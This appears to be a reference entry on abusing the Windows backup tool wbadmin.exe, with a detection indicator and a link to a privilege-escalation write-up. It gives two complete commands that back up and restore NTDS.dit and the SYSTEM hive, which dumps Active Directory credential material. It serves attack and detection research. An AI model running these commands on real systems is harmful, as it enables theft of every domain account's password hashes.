

# .. /wbadmin.exe

Dump

Windows Backup Administration utility

## Paths:

C:\Windows\System32\wbadmin.exe

## Resources:

- <https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960>

## Detections:

- IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"

## Dump

. Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)

```
wbadmin start backup -backupTarget:C:\temp\ -  
include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
```

**Use case:** Snapshotting of Active Directory NTDS.dit database  
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**ATT&CK® technique:** T1003.003

. Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.

```
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:C:\temp -itemtype:file -  
items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
```

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